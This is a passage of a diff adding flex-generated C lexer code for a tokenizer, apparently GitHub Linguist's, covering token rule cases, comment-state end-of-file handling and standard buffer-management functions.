+	YY_BREAK
+case 38:
+YY_RULE_SETUP
+#line 123 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 39:
+YY_RULE_SETUP
+#line 125 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 40:
+YY_RULE_SETUP
+#line 126 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 41:
+YY_RULE_SETUP
+#line 127 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 42:
+YY_RULE_SETUP
+#line 128 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 43:
+YY_RULE_SETUP
+#line 129 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 44:
+YY_RULE_SETUP
+#line 130 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 45:
+YY_RULE_SETUP
+#line 131 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 46:
+YY_RULE_SETUP
+#line 133 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 47:
+YY_RULE_SETUP
+#line 135 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 48:
+YY_RULE_SETUP
+#line 136 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 49:
+YY_RULE_SETUP
+#line 138 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 50:
+YY_RULE_SETUP
+#line 139 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 51:
+YY_RULE_SETUP
+#line 141 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 52:
+YY_RULE_SETUP
+#line 142 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 53:
+YY_RULE_SETUP
+#line 143 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 54:
+YY_RULE_SETUP
+#line 144 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 55:
+YY_RULE_SETUP
+#line 145 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 56:
+YY_RULE_SETUP
+#line 146 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 57:
+YY_RULE_SETUP
+#line 147 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 58:
+YY_RULE_SETUP
+#line 148 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 59:
+YY_RULE_SETUP
+#line 150 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 60:
+YY_RULE_SETUP
+#line 151 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 61:
+YY_RULE_SETUP
+#line 152 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 62:
+YY_RULE_SETUP
+#line 154 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 63:
+YY_RULE_SETUP
+#line 155 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 64:
+YY_RULE_SETUP
+#line 156 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 65:
+YY_RULE_SETUP
+#line 157 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 66:
+YY_RULE_SETUP
+#line 158 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 67:
+YY_RULE_SETUP
+#line 159 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 68:
+YY_RULE_SETUP
+#line 160 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 69:
+YY_RULE_SETUP
+#line 161 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 70:
+YY_RULE_SETUP
+#line 162 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 71:
+YY_RULE_SETUP
+#line 163 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 72:
+YY_RULE_SETUP
+#line 164 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 73:
+YY_RULE_SETUP
+#line 165 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 74:
+YY_RULE_SETUP
+#line 166 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 75:
+YY_RULE_SETUP
+#line 167 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 76:
+YY_RULE_SETUP
+#line 168 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 77:
+YY_RULE_SETUP
+#line 169 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 78:
+YY_RULE_SETUP
+#line 170 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 79:
+YY_RULE_SETUP
+#line 171 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 80:
+YY_RULE_SETUP
+#line 172 "tokenizer.l"
+{ FEED(); return 1; }
+	YY_BREAK
+case 81:
+/* rule 81 can match eol */
+YY_RULE_SETUP
+#line 174 "tokenizer.l"
+{ /* nothing */ }
+	YY_BREAK
+case 82:
+YY_RULE_SETUP
+#line 176 "tokenizer.l"
+YY_FATAL_ERROR( "flex scanner jammed" );
+	YY_BREAK
+#line 1684 "lex.linguist_yy.c"
+case YY_STATE_EOF(INITIAL):
+case YY_STATE_EOF(c_comment):
+case YY_STATE_EOF(xml_comment):
+case YY_STATE_EOF(haskell_comment):
+case YY_STATE_EOF(ocaml_comment):
+case YY_STATE_EOF(python_dcomment):
+case YY_STATE_EOF(python_scomment):
+case YY_STATE_EOF(roff_comment):
+case YY_STATE_EOF(lean_comment):
+	yyterminate();
+
+	case YY_END_OF_BUFFER:
+		{
+		/* Amount of text matched not including the EOB char. */
+		int yy_amount_of_matched_text = (int) (yy_cp - yyg->yytext_ptr) - 1;
+
+		/* Undo the effects of YY_DO_BEFORE_ACTION. */
+		*yy_cp = yyg->yy_hold_char;
+		YY_RESTORE_YY_MORE_OFFSET
+
+		if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_NEW )
+			{
+			/* We're scanning a new file or input source.  It's
+			 * possible that this happened because the user
+			 * just pointed yyin at a new source and called
+			 * yylex().  If so, then we have to assure
+			 * consistency between YY_CURRENT_BUFFER and our
+			 * globals.  Here is the right place to do so, because
+			 * this is the first action (other than possibly a
+			 * back-up) that will match for the new input source.
+			 */
+			yyg->yy_n_chars = YY_CURRENT_BUFFER_LVALUE->yy_n_chars;
+			YY_CURRENT_BUFFER_LVALUE->yy_input_file = yyin;
+			YY_CURRENT_BUFFER_LVALUE->yy_buffer_status = YY_BUFFER_NORMAL;
+			}
+
+		/* Note that here we test for yy_c_buf_p "<=" to the position
+		 * of the first EOB in the buffer, since yy_c_buf_p will
+		 * already have been incremented past the NUL character
+		 * (since all states make transitions on EOB to the
+		 * end-of-buffer state).  Contrast this with the test
+		 * in input().
+		 */
+		if ( yyg->yy_c_buf_p <= &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars] )
+			{ /* This was really a NUL. */
+			yy_state_type yy_next_state;
+
+			yyg->yy_c_buf_p = yyg->yytext_ptr + yy_amount_of_matched_text;
+
+			yy_current_state = yy_get_previous_state( yyscanner );
+
+			/* Okay, we're now positioned to make the NUL
+			 * transition.  We couldn't have
+			 * yy_get_previous_state() go ahead and do it
+			 * for us because it doesn't know how to deal
+			 * with the possibility of jamming (and we don't
+			 * want to build jamming into it because then it
+			 * will run more slowly).
+			 */
+
+			yy_next_state = yy_try_NUL_trans( yy_current_state , yyscanner);
+
+			yy_bp = yyg->yytext_ptr + YY_MORE_ADJ;
+
+			if ( yy_next_state )
+				{
+				/* Consume the NUL. */
+				yy_cp = ++yyg->yy_c_buf_p;
+				yy_current_state = yy_next_state;
+				goto yy_match;
+				}
+
+			else
+				{
+				yy_cp = yyg->yy_last_accepting_cpos;
+				yy_current_state = yyg->yy_last_accepting_state;
+				goto yy_find_action;
+				}
+			}
+
+		else switch ( yy_get_next_buffer( yyscanner ) )
+			{
+			case EOB_ACT_END_OF_FILE:
+				{
+				yyg->yy_did_buffer_switch_on_eof = 0;
+
+				if ( yywrap( yyscanner ) )
+					{
+					/* Note: because we've taken care in
+					 * yy_get_next_buffer() to have set up
+					 * yytext, we can now set up
+					 * yy_c_buf_p so that if some total
+					 * hoser (like flex itself) wants to
+					 * call the scanner after we return the
+					 * YY_NULL, it'll still work - another
+					 * YY_NULL will get returned.
+					 */
+					yyg->yy_c_buf_p = yyg->yytext_ptr + YY_MORE_ADJ;
+
+					yy_act = YY_STATE_EOF(YY_START);
+					goto do_action;
+					}
+
+				else
+					{
+					if ( ! yyg->yy_did_buffer_switch_on_eof )
+						YY_NEW_FILE;
+					}
+				break;
+				}
+
+			case EOB_ACT_CONTINUE_SCAN:
+				yyg->yy_c_buf_p =
+					yyg->yytext_ptr + yy_amount_of_matched_text;
+
+				yy_current_state = yy_get_previous_state( yyscanner );
+
+				yy_cp = yyg->yy_c_buf_p;
+				yy_bp = yyg->yytext_ptr + YY_MORE_ADJ;
+				goto yy_match;
+
+			case EOB_ACT_LAST_MATCH:
+				yyg->yy_c_buf_p =
+				&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars];
+
+				yy_current_state = yy_get_previous_state( yyscanner );
+
+				yy_cp = yyg->yy_c_buf_p;
+				yy_bp = yyg->yytext_ptr + YY_MORE_ADJ;
+				goto yy_find_action;
+			}
+		break;
+		}
+
+	default:
+		YY_FATAL_ERROR(
+			"fatal flex scanner internal error--no action found" );
+	} /* end of action switch */
+		} /* end of scanning one token */
+	} /* end of user's declarations */
+} /* end of yylex */
+
+/* yy_get_next_buffer - try to read in a new buffer
+ *
+ * Returns a code representing an action:
+ *	EOB_ACT_LAST_MATCH -
+ *	EOB_ACT_CONTINUE_SCAN - continue scanning from current position
+ *	EOB_ACT_END_OF_FILE - end of file
+ */
+static int yy_get_next_buffer (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+	char *dest = YY_CURRENT_BUFFER_LVALUE->yy_ch_buf;
+	char *source = yyg->yytext_ptr;
+	int number_to_move, i;
+	int ret_val;
+
+	if ( yyg->yy_c_buf_p > &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars + 1] )
+		YY_FATAL_ERROR(
+		"fatal flex scanner internal error--end of buffer missed" );
+
+	if ( YY_CURRENT_BUFFER_LVALUE->yy_fill_buffer == 0 )
+		{ /* Don't try to fill the buffer, so this is an EOF. */
+		if ( yyg->yy_c_buf_p - yyg->yytext_ptr - YY_MORE_ADJ == 1 )
+			{
+			/* We matched a single character, the EOB, so
+			 * treat this as a final EOF.
+			 */
+			return EOB_ACT_END_OF_FILE;
+			}
+
+		else
+			{
+			/* We matched some text prior to the EOB, first
+			 * process it.
+			 */
+			return EOB_ACT_LAST_MATCH;
+			}
+		}
+
+	/* Try to read more data. */
+
+	/* First move last chars to start of buffer. */
+	number_to_move = (int) (yyg->yy_c_buf_p - yyg->yytext_ptr - 1);
+
+	for ( i = 0; i < number_to_move; ++i )
+		*(dest++) = *(source++);
+
+	if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_EOF_PENDING )
+		/* don't do the read, it's not guaranteed to return an EOF,
+		 * just force an EOF
+		 */
+		YY_CURRENT_BUFFER_LVALUE->yy_n_chars = yyg->yy_n_chars = 0;
+
+	else
+		{
+			int num_to_read =
+			YY_CURRENT_BUFFER_LVALUE->yy_buf_size - number_to_move - 1;
+
+		while ( num_to_read <= 0 )
+			{ /* Not enough room in the buffer - grow it. */
+
+			/* just a shorter name for the current buffer */
+			YY_BUFFER_STATE b = YY_CURRENT_BUFFER_LVALUE;
+
+			int yy_c_buf_p_offset =
+				(int) (yyg->yy_c_buf_p - b->yy_ch_buf);
+
+			if ( b->yy_is_our_buffer )
+				{
+				int new_size = b->yy_buf_size * 2;
+
+				if ( new_size <= 0 )
+					b->yy_buf_size += b->yy_buf_size / 8;
+				else
+					b->yy_buf_size *= 2;
+
+				b->yy_ch_buf = (char *)
+					/* Include room in for 2 EOB chars. */
+					yyrealloc( (void *) b->yy_ch_buf,
+							 (yy_size_t) (b->yy_buf_size + 2) , yyscanner );
+				}
+			else
+				/* Can't grow it, we don't own it. */
+				b->yy_ch_buf = NULL;
+
+			if ( ! b->yy_ch_buf )
+				YY_FATAL_ERROR(
+				"fatal error - scanner input buffer overflow" );
+
+			yyg->yy_c_buf_p = &b->yy_ch_buf[yy_c_buf_p_offset];
+
+			num_to_read = YY_CURRENT_BUFFER_LVALUE->yy_buf_size -
+						number_to_move - 1;
+
+			}
+
+		if ( num_to_read > YY_READ_BUF_SIZE )
+			num_to_read = YY_READ_BUF_SIZE;
+
+		/* Read in more data. */
+		YY_INPUT( (&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move]),
+			yyg->yy_n_chars, num_to_read );
+
+		YY_CURRENT_BUFFER_LVALUE->yy_n_chars = yyg->yy_n_chars;
+		}
+
+	if ( yyg->yy_n_chars == 0 )
+		{
+		if ( number_to_move == YY_MORE_ADJ )
+			{
+			ret_val = EOB_ACT_END_OF_FILE;
+			yyrestart( yyin  , yyscanner);
+			}
+
+		else
+			{
+			ret_val = EOB_ACT_LAST_MATCH;
+			YY_CURRENT_BUFFER_LVALUE->yy_buffer_status =
+				YY_BUFFER_EOF_PENDING;
+			}
+		}
+
+	else
+		ret_val = EOB_ACT_CONTINUE_SCAN;
+
+	if ((yyg->yy_n_chars + number_to_move) > YY_CURRENT_BUFFER_LVALUE->yy_buf_size) {
+		/* Extend the array by 50%, plus the number we really need. */
+		int new_size = yyg->yy_n_chars + number_to_move + (yyg->yy_n_chars >> 1);
+		YY_CURRENT_BUFFER_LVALUE->yy_ch_buf = (char *) yyrealloc(
+			(void *) YY_CURRENT_BUFFER_LVALUE->yy_ch_buf, (yy_size_t) new_size , yyscanner );
+		if ( ! YY_CURRENT_BUFFER_LVALUE->yy_ch_buf )
+			YY_FATAL_ERROR( "out of dynamic memory in yy_get_next_buffer()" );
+		/* "- 2" to take care of EOB's */
+		YY_CURRENT_BUFFER_LVALUE->yy_buf_size = (int) (new_size - 2);
+	}
+
+	yyg->yy_n_chars += number_to_move;
+	YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars] = YY_END_OF_BUFFER_CHAR;
+	YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars + 1] = YY_END_OF_BUFFER_CHAR;
+
+	yyg->yytext_ptr = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[0];
+
+	return ret_val;
+}
+
+/* yy_get_previous_state - get the state just before the EOB char was reached */
+
+    static yy_state_type yy_get_previous_state (yyscan_t yyscanner)
+{
+	yy_state_type yy_current_state;
+	char *yy_cp;
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+	yy_current_state = yyg->yy_start;
+	yy_current_state += YY_AT_BOL();
+
+	for ( yy_cp = yyg->yytext_ptr + YY_MORE_ADJ; yy_cp < yyg->yy_c_buf_p; ++yy_cp )
+		{
+		YY_CHAR yy_c = (*yy_cp ? yy_ec[YY_SC_TO_UI(*yy_cp)] : 1);
+		if ( yy_accept[yy_current_state] )
+			{
+			yyg->yy_last_accepting_state = yy_current_state;
+			yyg->yy_last_accepting_cpos = yy_cp;
+			}
+		while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
+			{
+			yy_current_state = (int) yy_def[yy_current_state];
+			if ( yy_current_state >= 261 )
+				yy_c = yy_meta[yy_c];
+			}
+		yy_current_state = yy_nxt[yy_base[yy_current_state] + yy_c];
+		}
+
+	return yy_current_state;
+}
+
+/* yy_try_NUL_trans - try to make a transition on the NUL character
+ *
+ * synopsis
+ *	next_state = yy_try_NUL_trans( current_state );
+ */
+    static yy_state_type yy_try_NUL_trans  (yy_state_type yy_current_state , yyscan_t yyscanner)
+{
+	int yy_is_jam;
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner; /* This var may be unused depending upon options. */
+	char *yy_cp = yyg->yy_c_buf_p;
+
+	YY_CHAR yy_c = 1;
+	if ( yy_accept[yy_current_state] )
+		{
+		yyg->yy_last_accepting_state = yy_current_state;
+		yyg->yy_last_accepting_cpos = yy_cp;
+		}
+	while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
+		{
+		yy_current_state = (int) yy_def[yy_current_state];
+		if ( yy_current_state >= 261 )
+			yy_c = yy_meta[yy_c];
+		}
+	yy_current_state = yy_nxt[yy_base[yy_current_state] + yy_c];
+	yy_is_jam = (yy_current_state == 260);
+
+	(void)yyg;
+	return yy_is_jam ? 0 : yy_current_state;
+}
+
+#ifndef YY_NO_UNPUT
+
+#endif
+
+#ifndef YY_NO_INPUT
+#ifdef __cplusplus
+    static int yyinput (yyscan_t yyscanner)
+#else
+    static int input  (yyscan_t yyscanner)
+#endif
+
+{
+	int c;
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+	*yyg->yy_c_buf_p = yyg->yy_hold_char;
+
+	if ( *yyg->yy_c_buf_p == YY_END_OF_BUFFER_CHAR )
+		{
+		/* yy_c_buf_p now points to the character we want to return.
+		 * If this occurs *before* the EOB characters, then it's a
+		 * valid NUL; if not, then we've hit the end of the buffer.
+		 */
+		if ( yyg->yy_c_buf_p < &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars] )
+			/* This was really a NUL. */
+			*yyg->yy_c_buf_p = '\0';
+
+		else
+			{ /* need more input */
+			int offset = (int) (yyg->yy_c_buf_p - yyg->yytext_ptr);
+			++yyg->yy_c_buf_p;
+
+			switch ( yy_get_next_buffer( yyscanner ) )
+				{
+				case EOB_ACT_LAST_MATCH:
+					/* This happens because yy_g_n_b()
+					 * sees that we've accumulated a
+					 * token and flags that we need to
+					 * try matching the token before
+					 * proceeding.  But for input(),
+					 * there's no matching to consider.
+					 * So convert the EOB_ACT_LAST_MATCH
+					 * to EOB_ACT_END_OF_FILE.
+					 */
+
+					/* Reset buffer status. */
+					yyrestart( yyin , yyscanner);
+
+					/*FALLTHROUGH*/
+
+				case EOB_ACT_END_OF_FILE:
+					{
+					if ( yywrap( yyscanner ) )
+						return 0;
+
+					if ( ! yyg->yy_did_buffer_switch_on_eof )
+						YY_NEW_FILE;
+#ifdef __cplusplus
+					return yyinput(yyscanner);
+#else
+					return input(yyscanner);
+#endif
+					}
+
+				case EOB_ACT_CONTINUE_SCAN:
+					yyg->yy_c_buf_p = yyg->yytext_ptr + offset;
+					break;
+				}
+			}
+		}
+
+	c = *(unsigned char *) yyg->yy_c_buf_p;	/* cast for 8-bit char's */
+	*yyg->yy_c_buf_p = '\0';	/* preserve yytext */
+	yyg->yy_hold_char = *++yyg->yy_c_buf_p;
+
+	YY_CURRENT_BUFFER_LVALUE->yy_at_bol = (c == '\n');
+
+	return c;
+}
+#endif	/* ifndef YY_NO_INPUT */
+
+/** Immediately switch to a different input stream.
+ * @param input_file A readable stream.
+ * @param yyscanner The scanner object.
+ * @note This function does not reset the start condition to @c INITIAL .
+ */
+    void yyrestart  (FILE * input_file , yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+	if ( ! YY_CURRENT_BUFFER ){
+        yyensure_buffer_stack (yyscanner);
+		YY_CURRENT_BUFFER_LVALUE =
+            yy_create_buffer( yyin, YY_BUF_SIZE , yyscanner);
+	}
+
+	yy_init_buffer( YY_CURRENT_BUFFER, input_file , yyscanner);
+	yy_load_buffer_state( yyscanner );
+}
+
+/** Switch to a different input buffer.
+ * @param new_buffer The new input buffer.
+ * @param yyscanner The scanner object.
+ */
+    void yy_switch_to_buffer  (YY_BUFFER_STATE  new_buffer , yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+	/* TODO. We should be able to replace this entire function body
+	 * with
+	 *		yypop_buffer_state();
+	 *		yypush_buffer_state(new_buffer);
+     */
+	yyensure_buffer_stack (yyscanner);
+	if ( YY_CURRENT_BUFFER == new_buffer )
+		return;
+
+	if ( YY_CURRENT_BUFFER )
+		{
+		/* Flush out information for old buffer. */
+		*yyg->yy_c_buf_p = yyg->yy_hold_char;
+		YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = yyg->yy_c_buf_p;
+		YY_CURRENT_BUFFER_LVALUE->yy_n_chars = yyg->yy_n_chars;
+		}
+
+	YY_CURRENT_BUFFER_LVALUE = new_buffer;
+	yy_load_buffer_state( yyscanner );
+
+	/* We don't actually know whether we did this switch during
+	 * EOF (yywrap()) processing, but the only time this flag
+	 * is looked at is after yywrap() is called, so it's safe
+	 * to go ahead and always set it.
+	 */
+	yyg->yy_did_buffer_switch_on_eof = 1;
+}
+
+static void yy_load_buffer_state  (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+	yyg->yy_n_chars = YY_CURRENT_BUFFER_LVALUE->yy_n_chars;
+	yyg->yytext_ptr = yyg->yy_c_buf_p = YY_CURRENT_BUFFER_LVALUE->yy_buf_pos;
+	yyin = YY_CURRENT_BUFFER_LVALUE->yy_input_file;
+	yyg->yy_hold_char = *yyg->yy_c_buf_p;
+}
+
+/** Allocate and initialize an input buffer state.
+ * @param file A readable stream.
+ * @param size The character buffer size in bytes. When in doubt, use @c YY_BUF_SIZE.
+ * @param yyscanner The scanner object.
+ * @return the allocated buffer state.
+ */
+    YY_BUFFER_STATE yy_create_buffer  (FILE * file, int  size , yyscan_t yyscanner)
+{
+	YY_BUFFER_STATE b;
+    
+	b = (YY_BUFFER_STATE) yyalloc( sizeof( struct yy_buffer_state ) , yyscanner );
+	if ( ! b )
+		YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" );
+
+	b->yy_buf_size = size;
+
+	/* yy_ch_buf has to be 2 characters longer than the size given because
+	 * we need to put in 2 end-of-buffer characters.
+	 */
+	b->yy_ch_buf = (char *) yyalloc( (yy_size_t) (b->yy_buf_size + 2) , yyscanner );
+	if ( ! b->yy_ch_buf )
+		YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" );
+
+	b->yy_is_our_buffer = 1;
+
+	yy_init_buffer( b, file , yyscanner);
+
+	return b;
+}
+
+/** Destroy the buffer.
+ * @param b a buffer created with yy_create_buffer()
+ * @param yyscanner The scanner object.
+ */
+    void yy_delete_buffer (YY_BUFFER_STATE  b , yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+	if ( ! b )
+		return;
+
+	if ( b == YY_CURRENT_BUFFER ) /* Not sure if we should pop here. */
+		YY_CURRENT_BUFFER_LVALUE = (YY_BUFFER_STATE) 0;
+
+	if ( b->yy_is_our_buffer )
+		yyfree( (void *) b->yy_ch_buf , yyscanner );
+
+	yyfree( (void *) b , yyscanner );
+}
+
+/* Initializes or reinitializes a buffer.
+ * This function is sometimes called more than once on the same buffer,
+ * such as during a yyrestart() or at EOF.
+ */
+    static void yy_init_buffer  (YY_BUFFER_STATE  b, FILE * file , yyscan_t yyscanner)
+
+{
+	int oerrno = errno;
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+	yy_flush_buffer( b , yyscanner);
+
+	b->yy_input_file = file;
+	b->yy_fill_buffer = 1;
+
+    /* If b is the current buffer, then yy_init_buffer was _probably_
+     * called from yyrestart() or through yy_get_next_buffer.
+     * In that case, we don't want to reset the lineno or column.
+     */
+    if (b != YY_CURRENT_BUFFER){
+        b->yy_bs_lineno = 1;
+        b->yy_bs_column = 0;
+    }
+
+        b->yy_is_interactive = 0;
+    
+	errno = oerrno;
+}
+
+/** Discard all buffered characters. On the next scan, YY_INPUT will be called.
+ * @param b the buffer state to be flushed, usually @c YY_CURRENT_BUFFER.
+ * @param yyscanner The scanner object.
+ */
+    void yy_flush_buffer (YY_BUFFER_STATE  b , yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+	if ( ! b )
+		return;
+
+	b->yy_n_chars = 0;
+
+	/* We always need two end-of-buffer characters.  The first causes
+	 * a transition to the end-of-buffer state.  The second causes
+	 * a jam in that state.
+	 */
+	b->yy_ch_buf[0] = YY_END_OF_BUFFER_CHAR;
+	b->yy_ch_buf[1] = YY_END_OF_BUFFER_CHAR;
+
+	b->yy_buf_pos = &b->yy_ch_buf[0];
+
+	b->yy_at_bol = 1;
+	b->yy_buffer_status = YY_BUFFER_NEW;
+
+	if ( b == YY_CURRENT_BUFFER )
+		yy_load_buffer_state( yyscanner );
+}
+
+/** Pushes the new state onto the stack. The new state becomes
+ *  the current state. This function will allocate the stack
+ *  if necessary.
+ *  @param new_buffer The new state.
+ *  @param yyscanner The scanner object.
+ */
+void yypush_buffer_state (YY_BUFFER_STATE new_buffer , yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+	if (new_buffer == NULL)
+		return;
+
+	yyensure_buffer_stack(yyscanner);
+
+	/* This block is copied from yy_switch_to_buffer. */
+	if ( YY_CURRENT_BUFFER )
+		{
+		/* Flush out information for old buffer. */
+		*yyg->yy_c_buf_p = yyg->yy_hold_char;
+		YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = yyg->yy_c_buf_p;
+		YY_CURRENT_BUFFER_LVALUE->yy_n_chars = yyg->yy_n_chars;
+		}
+
+	/* Only push if top exists. Otherwise, replace top. */
+	if (YY_CURRENT_BUFFER)
+		yyg->yy_buffer_stack_top++;
+	YY_CURRENT_BUFFER_LVALUE = new_buffer;
+
+	/* copied from yy_switch_to_buffer. */
+	yy_load_buffer_state( yyscanner );
+	yyg->yy_did_buffer_switch_on_eof = 1;
+}
+
+/** Removes and deletes the top of the stack, if present.
+ *  The next element becomes the new top.
+ *  @param yyscanner The scanner object.
+ */
+void yypop_buffer_state (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+	if (!YY_CURRENT_BUFFER)
+		return;
+
+	yy_delete_buffer(YY_CURRENT_BUFFER , yyscanner);
+	YY_CURRENT_BUFFER_LVALUE = NULL;
+	if (yyg->yy_buffer_stack_top > 0)
+		--yyg->yy_buffer_stack_top;
+
+	if (YY_CURRENT_BUFFER) {
+		yy_load_buffer_state( yyscanner );
+		yyg->yy_did_buffer_switch_on_eof = 1;
+	}
+}
+
+/* Allocates the stack if it does not exist.
+ *  Guarantees space for at least one push.
+ */
+static void yyensure_buffer_stack (yyscan_t yyscanner)
+{
+	yy_size_t num_to_alloc;
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+	if (!yyg->yy_buffer_stack) {
+
+		/* First allocation is just for 2 elements, since we don't know if this
+		 * scanner will even need a stack. We use 2 instead of 1 to avoid an
+		 * immediate realloc on the next call.
+         */
+      num_to_alloc = 1; /* After all that talk, this was set to 1 anyways... */
+		yyg->yy_buffer_stack = (struct yy_buffer_state**)yyalloc
+								(num_to_alloc * sizeof(struct yy_buffer_state*)
+								, yyscanner);
+		if ( ! yyg->yy_buffer_stack )
+			YY_FATAL_ERROR( "out of dynamic memory in yyensure_buffer_stack()" );
+
+		memset(yyg->yy_buffer_stack, 0, num_to_alloc * sizeof(struct yy_buffer_state*));
+
+		yyg->yy_buffer_stack_max = num_to_alloc;
+		yyg->yy_buffer_stack_top = 0;
+		return;
+	}
+
+	if (yyg->yy_buffer_stack_top >= (yyg->yy_buffer_stack_max) - 1){
+
+		/* Increase the buffer to prepare for a possible push. */
+		yy_size_t grow_size = 8 /* arbitrary grow size */;
+
+		num_to_alloc = yyg->yy_buffer_stack_max + grow_size;
+		yyg->yy_buffer_stack = (struct yy_buffer_state**)yyrealloc
+								(yyg->yy_buffer_stack,
+								num_to_alloc * sizeof(struct yy_buffer_state*)
+								, yyscanner);
+		if ( ! yyg->yy_buffer_stack )
+			YY_FATAL_ERROR( "out of dynamic memory in yyensure_buffer_stack()" );
+
+		/* zero only the new slots.*/
+		memset(yyg->yy_buffer_stack + yyg->yy_buffer_stack_max, 0, grow_size * sizeof(struct yy_buffer_state*));
+		yyg->yy_buffer_stack_max = num_to_alloc;
+	}
+}
+
+/** Setup the input buffer state to scan directly from a user-specified character buffer.
+ * @param base the character buffer
+ * @param size the size in bytes of the character buffer
+ * @param yyscanner The scanner object.
+ * @return the newly allocated buffer state object.
+ */
+YY_BUFFER_STATE yy_scan_buffer  (char * base, yy_size_t  size , yyscan_t yyscanner)
+{
+	YY_BUFFER_STATE b;
+    
+	if ( size < 2 ||
+	     base[size-2] != YY_END_OF_BUFFER_CHAR ||
+	     base[size-1] != YY_END_OF_BUFFER_CHAR )
+		/* They forgot to leave room for the EOB's. */
+		return NULL;
+
+	b = (YY_BUFFER_STATE) yyalloc( sizeof( struct yy_buffer_state ) , yyscanner );
+	if ( ! b )
+		YY_FATAL_ERROR( "out of dynamic memory in yy_scan_buffer()" );
+
+	b->yy_buf_size = (int) (size - 2);	/* "- 2" to take care of EOB's */
+	b->yy_buf_pos = b->yy_ch_buf = base;
+	b->yy_is_our_buffer = 0;
+	b->yy_input_file = NULL;
+	b->yy_n_chars = b->yy_buf_size;
+	b->yy_is_interactive = 0;
+	b->yy_at_bol = 1;
+	b->yy_fill_buffer = 0;
+	b->yy_buffer_status = YY_BUFFER_NEW;
+
+	yy_switch_to_buffer( b , yyscanner );
+
+	return b;
+}
+
+/** Setup the input buffer state to scan a string. The next call to yylex() will
+ * scan from a @e copy of @a str.
+ * @param yystr a NUL-terminated string to scan
